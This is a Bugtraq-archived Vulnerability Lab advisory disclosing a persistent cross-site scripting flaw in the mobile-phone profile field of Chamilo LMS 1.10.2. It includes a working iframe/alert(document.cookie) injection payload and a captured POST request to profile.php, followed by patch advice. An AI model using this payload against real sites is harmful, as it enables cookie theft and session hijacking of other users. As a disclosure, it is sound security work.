Bugtraq mailing list archives

Chamlio LMS v1.10.2 - (Profile) Persistent Web Vulnerability


From: Vulnerability Lab <research () vulnerability-lab com>
Date: Mon, 14 Mar 2016 16:29:23 +0100

Document Title:
===============
Chamlio LMS v1.10.2 - (Profile) Persistent Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1781


Release Date:
=============
2016-03-14


Vulnerability Laboratory ID (VL-ID):
====================================
1781


Common Vulnerability Scoring System:
====================================
3.4


Product & Service Introduction:
===============================
Chamilo is an open-source (under GNU/GPL licensing) e-learning and content management system, aimed at improving access 
to education 
and knowledge globally. It is backed up by the Chamilo Association, which has goals including the promotion of the 
software, the 
maintenance of a clear communication channel and the building of a network of services providers and software 
contributors.

The Chamilo project aims at ensuring the availability and quality of education at a reduced cost, through the 
distribution of its 
software free of charge, the improvement of its interface for 3rd world countries devices portability and the provision 
of a free 
access public e-learning campus.

(Copy of the Vendor Homepage: https://chamilo.org/chamilo-lms/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered an application-side cross site vulnerability in the 
offical Chamilo LMS web-application.


Vulnerability Disclosure Timeline:
==================================
2016-03-14:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Chamlio
Product: Chamlio LMS - Content Management System (Web-Application) 1.10.2 


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent cross site scripting web vulnerability has been discoverd in the offical Chamilo LMS content management 
web-application. 
The security vulnerability allows remote attackers to inject own script code to the application-side of the affected 
application module.

The vulnerability is Located in `User Profile` page of the web-application. Remote attackers with low privileged 
web-application user 
accounts are able to inject own malicious script code via POST method request to the application-side. The injection 
point is the vulnerable 
[extra_mobile_phone_number] parameter in upload POST method request. The request method to inject is POST and the 
vulnerability is located to 
the application-side of the vulnerable online-service.

The security risk of the application-side vulnerability is estimated as medium with a cvss (common vulnerability 
scoring system) count of 3.4. 
Exploitation of the persistent web vulnerability requires a low privileged ios device account with restricted access 
and low user interaction. 
Successful exploitation of the vulnerabilities results in persistent phishing mails, session hijacking, persistent 
external redirect to malicious 
sources and application-side manipulation of affected or connected module context.

Request Method(s):
                             [+] POST

Affected Module(s):
                             [+] auth/profile.php                                

Vulnerable Parameter(s):
                             [+] extra_mobile_phone_number


Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers with low privileged web-application user account and 
low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to 
continue.

Manual steps to reproduce the vulnerability ...
1. User edited his own profile throught registration process or throught edit user profile option in chamilo LMS 
platform 
2. User fill in the option for his/her mobile phone with a persistent code [ '><iframe src=http://vuln-lab.com 
onload=alert(document.cookie) < ] 


--- PoC Session Logs [POST] ---
POST /site/main/auth/profile.php? HTTP/1.1
Host: Chamilo.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://Chamilo.com/main/auth/profile.php
Cookie: defaultMyCourseView15=0; __cfduid=dcb5fdb8a711dd176639addf2c390449a331452648620; 
ch_sid=d8e8ff97d740sq22afca42853b2dca29273
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------37939813317594530581121058221
Content-Length: 2561
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="firstname"
user
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="lastname"
amer
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="username"
lawrenceamer
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="official_code"
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="email"
user () gmail com
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="phone"
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="picture"; filename=""
Content-Type: application/octet-stream
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="language"
english
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="password0"
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="password1"
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="password2"
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="extra_mail_notify_invitation"
1
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="extra_mail_notify_message"
1
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="extra_mail_notify_group_message"
1
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="extra_mobile_phone_number"
[XSS PERSISTENT CODE ] 
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="apply_change"
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="_qf__profile"
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="MAX_FILE_SIZE"
134217728
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="cropResult"
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="item_id"
15
-----------------------------37939813317594530581121058221--




Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of vulnerable [extra_mobile_phone_number] parameter that 
is used for the input field.
Restrict the input and disallow usage of special chars. Filter and setup a secure exception handling that prevents the 
persistent execution in the 
output location of the profile.


Security Risk:
==============
The security risk of the application-side validation web vulnerability in the profile module is estimated as medium. 
(CVSS 3.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Lawrence Amer - 
http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all 
warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers 
are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if 
Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential 
or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack 
into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                                              - 
www.evolution-sec.com
Contact:    admin () vulnerability-lab com      - research () vulnerability-lab com                             - admin 
() evolution-sec com
Section:    magazine.vulnerability-db.com       - vulnerability-lab.com/contact.php                             - 
evolution-sec.com/contact
Social:     twitter.com/vuln_lab                - facebook.com/VulnerabilityLab                                 - 
youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php                    - 
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - vulnerability-lab.com/list-of-bug-bounty-programs.php         - 
vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability 
Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are 
reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research () vulnerability-lab 
com) to get a ask permission.

                                    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research () vulnerability-lab com



Current thread: